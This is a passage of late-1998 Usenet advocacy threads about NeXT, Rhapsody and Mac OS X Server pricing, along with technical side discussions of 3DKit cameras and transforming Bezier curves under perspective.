hard to believe that when questioned about Rhapsody and how that changed
their marketing plans for the new OS, that they would fail to mention that
Microsoft asked them to kill it off.
>>At no time was Avie asked if Microsoft required them to kill their
>>operating system, or if Mac OS X/Intel was abandonned because of concerns
>>from MS.
I was under the impression that they were asked about Rhapsody. Is this
not the case?
From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 05 Dec 1998 00:44:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749vlm$76d$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102> <3668383F.79DC79A6@gamewood.net>
In article <3668383F.79DC79A6@gamewood.net>,
William Cloud Hicklin <solicitr@gamewood.net> wrote:
> What did get killed was Rhapsody/Intel, *primarily* because it was
> giving Apple headaches and it was holding up the whole project.
>
<boggle>
Where on earth did you get that idea?!
Rhapsody was ported *from* Intel *to* PPC.
Further there is no indication yet that the Intel release has been killed.
> It was not worth
> waiting around for *especially* since R/Intel would have had dubious
> commercial value in competition with Windows.
>
Rubbish -- it has significant commercial value in offering existing
Intel-users (almost everyone) an opportunity to try out an Apple product
without the risk of investing large amounts of money in new hardware (if
indeed authorisation were granted for purchase of "non-standard" -- i.e.
Apple -- hardware).
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 18:49:09 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36688305.30BFE5F1@ericsson.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215>
<746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com>
<7481fj$31u$1@camel18.mindspring.com> <749oem$11u$1@nnrp1.dejanews.com>
<36686F42.EE553D2A@ericsson.com> <F3Gusw.4vq@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
> A Bugs Life.
>
> Sorry, couldn't resist.
Is that for real? A Bugs Life was rendered with 3DKit-based software? Or
just Renderman-based software?
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 01:03:02 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <74a0o6$nqs@ns2.alink.net>
References: <alex-0412981742280001@cs48-37.austin.rr.com>
alex@webis.net (Alex Kac) writes:
> In article <749jgu$i32@ns2.alink.net>, msb@inquisit.com wrote:
>
> > What card? 3COM 3C905B-TX, definitely not
> >unusual.)
>
> Definately not unsual - but I had to pull teeth to get NT 4.0 without any
> Service packs to accept it...needed to get it so i can transfer the SPs to
> it.
Strange, I got it to work without problems (Using the drivers which ship on
their floppies.) and then transferred SP3 to the one machine which I have
running NT 4.0.
Mike Barthelemy
From: dennyrex@earthlink.net (Rick Sanford)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 5 Dec 1998 00:48:52 GMT
Content-Transfer-Encoding: 7bit
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net> <746o1f$dnt$1@nnrp1.dejanews.com>
Cc: malcolm@plsys.co.uk
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In <746o1f$dnt$1@nnrp1.dejanews.com> malcolm@plsys.co.uk wrote:
> what happens if you hold down the Shift key whilst mousing in
> the colour wheel itself?
>
> Best wishes,
>
> mmalc.
>
> -----------== Posted via Deja News, The Discussion Network ==----------
> http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
>
hmmm. don't what I'd call that, but it's kinda cool.
never knew that.
would prove very beneficial for working out complementary color schemes. are
there other variations?
-rick
--
Rick Sanford
Dental Records(R)
dennyrex@earthlink.net NeXTMAIL welcome
http://www.dentalrecords.com
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec4142308@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy>
<whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com>
<ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
<SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net>
<SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Thu, 3 Dec 1998 15:59:19 GMT
Date: 4 Dec 98 14:23:08
NNTP-Posting-Date: Fri, 04 Dec 1998 17:24:22 PDT
In article <F3ECEw.AzA@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Dec3001200@slave.doubleu.com> Scott Hess wrote:
> I guess what I'm saying is that calling something "NT Server" no
> more makes it a server in real life than calling it "Mac OS X
> Server".
I think we all agree on that. But my point is that if it's OK for
NT to do this and be sold for more money, I don't see why it's not
OK for Apple to do it as well. We've all read the articles on
this, the difference between NT server and client appears to be
nothing more than a registry entry.
Meaning that one might think that people who spend the extra money to
purchase NT Server vs NT Workstation are wasting money. Regardless of
whether that is true, Apple hasn't been indicating that there will be
a "Workstation" version of Mac OS X Server. So the point is moot.
How do you think Windows NT would have done if they only ever released
the NT Server version, with no Client version?
[Of course, eventually there will be a client version, called MacOS X.
At that point, I expect that you'll be able to do development on plain
old MacOS X. There still might be a MacOS X Server, but it will be
MacOS X at core, with additional stuff on top of it. That is unlikely
to be the case with what's going to (hopefully) come out in the next
couple months.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec4150741@slave.doubleu.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
<F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net>
<742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net>
<746o1f$dnt$1@nnrp1.dejanews.com>
In-reply-to: malcolm@plsys.co.uk's message of Thu, 03 Dec 1998 19:16:01 GMT
Date: 4 Dec 98 15:07:41
NNTP-Posting-Date: Fri, 04 Dec 1998 17:26:15 PDT
In article <746o1f$dnt$1@nnrp1.dejanews.com> malcolm@plsys.co.uk writes:
what happens if you hold down the Shift key whilst mousing in the
colour wheel itself?
Now you've got me wondering why it doesn't to a similar "keep same
radius" type thing for Alternate or Command or something...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 4 Dec 1998 17:08:09 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76h1rp.9sl.jedi@dementia.mishnet>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102> <slrn76g988.97g.jedi@dementia.mishnet> <749vts$7b3@news1.panix.com>
On 5 Dec 1998 00:49:00 GMT, Sal Denaro <sal@panix.com> wrote:
>On Fri, 4 Dec 1998 10:08:08 -0800,
> jedi@dementia.mishnet <jedi@dementia.mishnet> wrote:
>>On Fri, 04 Dec 1998 09:51:55 -0800, Harry <ngroups@fizbin.com> wrote:
>>>In article <748vs4$rla@news1.panix.com>, sal@panix.com wrote:
>>>> I'm not a lawyer, but I would think that "holding back a few cards in
>>>reserve"
>>>> while being asked to testify under oath would be pretty close to obstruction
>>>> of justice.
>>>Geez!
>>>No, it's NOT.
>>>A witness on the stand, regardless of sides, is NOT required to volunteer
>>>any and all information they possess. Specifically, they are supposed to
>>>ANSWER questions.
>> That's a fairly broad directive however which can be intrepreted
>> in many ways especially considering that bit about 'the whole
>> truth' in the witnesses oath.
>
>That's what I was referring to.
>
>Unless I am wrong (and if I am I will withdraw this comment), I find it
>hard to believe that when questioned about Rhapsody and how that changed
>their marketing plans for the new OS, that they would fail to mention that
>Microsoft asked them to kill it off.
Without a transcript, it's hard to say. Quibbling becomes
a high art in a courtroom (as both Bills demonstrate).
[deletia]
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: WO4 Announcement - NT Only Dev. Environment
Message-ID: <cdoutyF3Gyws.2rM@netcom.com>
Sender: cdouty@netcom12.netcom.com
Organization: Netcom Online Services, Inc.
References: <F3FF18.JBJ@prosoft.com> <3667CDC1.41792058@erziehung.uni-giessen.de> <36688BB3.DABFA70E@wdg.mot.com>
Date: Sat, 5 Dec 1998 02:00:28 GMT
In article <36688BB3.DABFA70E@wdg.mot.com>,
Lyle Parkyn <parkyn@wdg.mot.com> wrote:
>"Karsten D. Wolf" wrote:
>
>> Lyle Parkyn wrote:
>> >
>> > Did anyone else notice that the only development environment for WO4 is on
>> > WinNT?
>> >
>> > Hopefully, this is temporary until MacOS X comes out.
>> > --
>>
>> Full development will be also possible on MacOS X. (I am glad to leave
>> that NT machine, I can tell You!)
>
>You sound so certain. What makes you think this?
How about announcement that WO4 *WILL* ship for MacOS X Server in
"January" made by an Apple offical at an offical Apple seminar in Apple's
headquaters? That seems pretty certain to me.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: Lyle Parkyn <parkyn@wdg.mot.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WO4 Announcement - NT Only Dev. Environment
Date: Fri, 04 Dec 1998 17:26:11 -0800
Organization: Motorola
Message-ID: <36688BB3.DABFA70E@wdg.mot.com>
References: <F3FF18.JBJ@prosoft.com> <3667CDC1.41792058@erziehung.uni-giessen.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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"Karsten D. Wolf" wrote:
> Lyle Parkyn wrote:
> >
> > Did anyone else notice that the only development environment for WO4 is on
> > WinNT?
> >
> > Hopefully, this is temporary until MacOS X comes out.
> > --
>
> Full development will be also possible on MacOS X. (I am glad to leave
> that NT machine, I can tell You!)
You sound so certain. What makes you think this?
--
--
Lyle Parkyn
ProSoft Solutions Inc. (http://www.prosoft.com)
lparkyn@prosoft.com (NeXTmail, text or MIME formats welcome)
Bus:(604)324-3311 Fax:(604)538-7694
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Sat, 05 Dec 1998 02:49:09 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36689F25.A4B0D385@digiscape.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <748sa2$t0o$1@hercules.acsu.buffalo.edu>
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Edward P Scholl wrote:
>
> Chris Welch (chaotic42@digiscape.com) wrote:
> : Joe Rice wrote:
>
> : > Dell will preinstall linux for a price.
>
> : How ironic. Normally free linux costs more to have installed than
> : windows.
>
> not free if you want support...
>
> -ed
How-to's are quite free.
--
/--------------------------------------------------------------\
| chaotic42@digiscape.com |
| -------------------------------------------------------------|
| http://130.74.57.55 | ftp://130.74.57.55 |
| Nearly 3 gigs of mp3's |
|--------------------------------------------------------------|
| Don't fear the penguins! |
\ -------------------------------------------------------------/
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131> <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net> <36683A6B.9A8E24A6@ncal.verio.com>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <nK1a2.638$I04.1828@typhoon-sf.snfc21.pbi.net>
Date: Fri, 4 Dec 1998 19:24:10 -0800
NNTP-Posting-Date: Fri, 04 Dec 1998 19:27:15 PDT
Organization: SBC Internet Services
Mike Paquette wrote in message <36683A6B.9A8E24A6@ncal.verio.com>...
>Well, almost. If you are transforming points in the rendered image of
>the text, this works well (although prone to scaling artifacts). Alas,
>if you try transforming the control points of text outlines this way,
>funny things start to happen.
>
>Control points on curve functions such as Beziers behave in less than
>obvious ways. When one manipulates the control points, the curve does
>change. The resulting curve, however, does not occupy the same points
>as the points translated from the rendered curve with the unmanipulated
>control points.
>
>This effect is quite noticible when applied to more complex curves (as
>found in some of the fancier GX fonts) at high 'perspective tilts'. For
>a font like Helvetica, it's almost completely unnoticeable.
Transforming Bezier curves is a non-trivial thing to do, regardless
if you are doing this in 2D or 3D--the control points cannot simply
be translated through the transformation matrix in the same way.
Personally, I suspect you would have to do the bezier interpolation
before the division for each line segment: that is, after performing
the multiply of the anchor points against the 3x3 matrix, you are left
with a term <x,y,w>, with w != 0. I suspect in order for the whole
effect to work correctly, you would have to generate the various
bezier line segments by interpolating all three terms, and for the
resulting points <x[i],y[i],w[i]>, then perform the division.
But this is a guess.
The point is, you can't just move the anchor points around,
regardless if you are doing 2D or 3D bezier curves. Otherwise, you
won't get the right results--instead, there will be odd edge
effects.
>Most 3D systems (e.g., QuickDraw 3D) dodge the problem of transforming
>control points completely by first reducing the curve to a
>representation consisting only of points on the curve, e.g., subdivision
>to polygons of some form. For text this operation typically traverses
>the curve with the desired stroke width, flattening the resulting
>outline on the fly.
Ah, but it ain't too difficult to work the math and Do The
Right Thing with text and bezier curves. Unfortunately, most
folks are lazy.
>It is cool. I just get tired of dealing with phone calls and E-mail
>along the lines of 'This guy on the Net said I could do 3D stuff with
>GX. How do I do a (flying logo, chrome sphere, etc)?'
*sigh* I understand, believe me.
- Bill Woody
The PandaWave
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 23:54:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749sn9$4m6$1@nnrp1.dejanews.com>
References: <746ta9$ic2$1@nnrp1.dejanews.com> <B28C59EA-5F903@206.165.43.2>
In article <B28C59EA-5F903@206.165.43.2>,
> GX is a bit lower-level than the various 'Kits, in this respect.
>
I'm sure 3DKit could go lower level too.
> However, you didn't try to rotate the stereo pair of views in 3D,
> did you?
>
Ah, shifting Goalpost Syndrome again. No, I didn't, however from what I
remember, actually better than that I'll look at the documentation:
The following methods look appropriate, for the N3DCamera class:
- setEyeAt: toward: roll
- moveEyeBy:::
- rotateEyeBy::about:
The first method is the most generic, since it allows you to set the
fromPoint and toPoint straight off. In the case of my simple model the
toPoint would always be the centre of the world and the shape {0,0,0}, and
there could be three sliders with suitable ranges, say -1 to +1, for eaxh of
{x,y,z} of the fromPoint. Thus with a little extra math, I'd say that
accommodating (weak pun intended) your position would require about an extra
ten lines of code. Even I could do it. And this is from looking at the
documentation for the first time in about three years. Total time elapsed
from reading your message to writing this far: less than 10 minutes (and I
had to find the docs).
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec4145454@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy>
<whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com>
<ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
<SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net>
<SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net>
<746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Thu, 3 Dec 1998 21:34:03 GMT
Date: 4 Dec 98 14:54:54
NNTP-Posting-Date: Fri, 04 Dec 1998 17:24:22 PDT
In article <F3Erws.Izr@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <746o4g$dol$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> What would be really silly is making OSX Server available ONLY in
> this way. After all, MS has WNT workstation, don't they?
They do NOW, but this was not always the case and NT was only
available as a server product. Thus again I don't see the problem.
There was the Server/Workstation distinction back in NT3.1, I think.
Which was basically the first. Either that, or it was effectively
Workstation, with no Server version.
Regardless of the marketting speak involved, I don't think I've ever
paid more than $300 for NT, these days NT being NT Workstation for me.
And _that's_ my concern with pricing MacOS X Server against NT Server.
Initially, every additional $100 halves your developer count...
> put it, a "wonderful power-user client system wrapped in a UI
> that even a novice can use". By selling a plain-vanilla OSX
> Server, Apple would now have a complete product range, with OS8.5
> competing with W95/98, plain-vanilla
Yes, and they should also have 1.6GBps FireWire in every machine
with 1G G4's, $60B in the bank and an installed base of 30%.
However things take time. They've always said they will, it's not
like this has been sprung on you out of the blue or something.
Huh? To put 1.6Gbps FireWire and 1Ghz G4's into every machine can't
be done for any amount of money today. Having "Really Server" and
"Actually Client" versions of MacOS X Server costs them hardly
anything above packaging costs.
We're talking about perhaps a couple hundred developers either way.
Long-term, the difference between 100 and 250 developers during the
first six months of 1999 is going to be astronomical. Apple has to
leverage off of someone, here, and it isn't going to happen if it
costs $1500 to get into the pool.
> OSX Server competing with NT workstation, and OSX Server + other
> stuff competing with NT Server.
No, OS-X competing with NT Workstation (now Windows 2000) and OX-X
Server competing with NT Server. Maybe it's just me, but this
seems to make perfect sense.
It does. But MacOS X is likely to ship for $80 or so, and I wouldn't
be surprised if MacOS X Server is more than $800. Leaving a very
large gap in the middle. Why not fill it with something?
> So it's not the notion of selling a high-end bundle that people
> are objecting to, it's the notion of not ALSO selling a mid-end
> bundle.
And I'm sure they will, when it's done.
Why not now? The revenue differences between MacOS X Server at $1500
and MacOS X Server at $300 is going to be lost in the noise for the
first six or twelve months, even if it's a wild success. And the
impressions they build now will stay with them for years.
I, personally, will be getting a copy regardless of whether it's $300
or $1500. But I've got a decade sunk into aquiring expertise on the
platform, and know I can easily earn it back. Apple doesn't have to
convince _me_ that I want to develop on MacOS X Server - they need to
convince me that they aren't going to screw things up by targetting
some weird-ass super-high-end-user pay-through-the-nose market.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: quinlan@intergate.bc.ca
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 05 Dec 1998 05:11:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74afa6$jto$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu>
In article <WGB92.2484$CY1.9917779@news.itd.umich.edu>,
"Jin Kim" <kwazyjin@hotmail.com> wrote:
> That still doesn't make sense to me. Why would Apple spend the
> resources/money porting BSD/YB/Carbon to Linux when Mach already works on
> x86? If Apple wants to discontinue working on x86 solution, it'll just
> stop, not use another kernel.
At the very least, it would allow Apple to stop worrying about PC driver
support; the linux people would worry about that.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Mark Eaton" <markeaton@mindspring.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 22:22:26 -0800
Organization: MindSpring Enterprises
Message-ID: <74ajf6$i24$1@camel21.mindspring.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att.
net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com>
<slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com>
<749uf4$66l$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <749uf4$66l$1@nnrp1.dejanews.com> , malcolm@plsys.co.uk wrote:
>In article <7481fj$31u$1@camel18.mindspring.com>,
> "Mark Eaton" <markeaton@mindspring.com> wrote:
>> I may be missing something here, but if it is/was so great where are
>> all the ground breaking applications?
>>
>You mean like WorldWideWeb.app? Tailor.app? Mathematica.app? Improv.app?
All of which went on to fame and fortune on other platforms. None used
OpenStep (nee YellowBox) on the other platforms - which to me means that
their initial development on OpenStep was incidental. (btw I believe
Mathematica was first developed on the Mac, but thats a minor point)
>> YellowBox reminds me of the Fermi Paradox: where are they? After all
>> these years, people still get glaze-eyed and whisper 'if you build
>> it they will come'. I'm sure there are a million tired old excuses
>> about how screwed up NeXT's pricing was, how stupid the industry is,
>> etc. But at this point I question that all it takes is another
>> version...
>>
>
>I don't think you've done any research here: considering the size of the
I've used most of the commercial OpenStep software which is available on the
net at work, either in demo or site-licensed form... The point isn't that
there isn't any software for OpenStep/Rhapsody. There are plenty of
knock-off productivity apps. The point is that there aren't any OpenStep
apps that would make a user think twice about leaving his or her current
platform. When I said "where are they" I was talking about YellowBox apps
that are truly unique, as in only possible on YB (think PageMaker 1.0 on a
Mac).
>market there were a *lot* of applications. You can get all your daily work
>done using only NEXTSTEP apps -- I still do. There were at least three 3D
How does that qualify as "ground breaking"? IMHO, on a new platform generic
productivity apps have to come after killer first-of-a-kind apps, if at all.
-mark
From: "Mark Eaton" <markeaton@mindspring.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 22:45:05 -0800
Organization: MindSpring Enterprises
Message-ID: <74akpl$rs$1@camel21.mindspring.com>
References: <3665d1d7$0$219@nntp1.ba.best.com>
<B28B8E46-E60BB@206.165.43.131>
<hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net>
<36683A6B.9A8E24A6@ncal.verio.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
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In article <36683A6B.9A8E24A6@ncal.verio.com> , Mike Paquette
<mpaque@ncal.verio.com> wrote:
>It is cool. I just get tired of dealing with phone calls and E-mail
>along the lines of 'This guy on the Net said I could do 3D stuff with
>GX. How do I do a (flying logo, chrome sphere, etc)?' Alas, Mr.
>English has a slight tendency to exaggerate the capabilities of GX,
>which leads to disappointment and frustration on the part of those
>unfortunate enough to take his statements at face value.
Mike, expect a call from me first thing Monday morning... :-)
-mark
(on second thought, I like my head right where it is...)
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 05 Dec 1998 00:29:45 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us53e6vduly.fsf@kit.ai.mit.edu>
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131> <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net> <36683A6B.9A8E24A6@ncal.verio.com> <nK1a2.638$I04.1828@typhoon-sf.snfc21.pbi.net>
"William Edward Woody" <woody@alumni.caltech.edu> writes:
> Transforming Bezier curves is a non-trivial thing to do, regardless
> if you are doing this in 2D or 3D--the control points cannot simply
> be translated through the transformation matrix in the same way.
That's not quite accurate. One of the nicest properties of Bezier
curves is that they *can* be transformed in exactly this way -- as
long as the transformation itself is affine. Indeed, this may be one
of the main reasons that PostScript limited the transforms to affine
ones -- the curves are very simply generated under any such
transformation; just transform the control points and go!
> Personally, I suspect you would have to do the bezier interpolation
> before the division for each line segment: that is, after performing
> the multiply of the anchor points against the 3x3 matrix, you are left
> with a term <x,y,w>, with w != 0. I suspect in order for the whole
> effect to work correctly, you would have to generate the various
> bezier line segments by interpolating all three terms, and for the
> resulting points <x[i],y[i],w[i]>, then perform the division.
Yes, this is the usual way to do it for accuracy. Mike mentions (in
the article you quoted) another way involving precalculating the line
segments, but I feel that that is a bit more resolution-dependent, so
you'd have to recalculate the curve when you wanted it displayed at a
different scale factor.
If the area being displayed is small, you could probably even get away
with the quick transformation method used for affine transforms, but
at larger scale factors the inherent problems will be obvious pretty
quickly.
(I personally believe this is why GX limited its curves to quadratics;
going to cubics when you have to handle that kind of transformation
for every interpolated point results in roughly a threefold speed hit,
and I'd bet that would get noticable quickly on the hardware they had
during the GX design phase).
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: rpeterson@msn.globaldialog.com (Ron Peterson)
Subject: Re: Replace my Next station ???
Newsgroups: comp.sys.next.advocacy
References: <749llu$ja$4@news.eunet.ch>
Message-ID: <f%Z92.508$ww5.46546@homer.alpha.net>
Date: Fri, 04 Dec 1998 23:12:11 GMT
NNTP-Posting-Date: Fri, 04 Dec 1998 17:12:11 CDT
stephane@dial.eunet.ch wrote:
: I have a Next station and i want buy a new computer. What is the best
: solution to replace my next station up to USD 7‚000 ?? PC, Sun, HP, wait to
: apple and mac OSX .....
Wait for new Apple hardware and OS X.
Ron
Date: Fri, 04 Dec 1998 17:38:43 -0600
From: alex@webis.net (Alex Kac)
Mail-Copies-To: alex@webis.net
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <alex-0412981738440001@cs48-37.austin.rr.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com> <749f30$q57$1@news.xmission.com> <749ppf$mc$1@nnrp03.primenet.com>
Organization: Web IS
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
In article <749ppf$mc$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
>Is it disingenious to expect such standard business skills?
>
>John
Look at who was running the company then. Not very good business skills.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
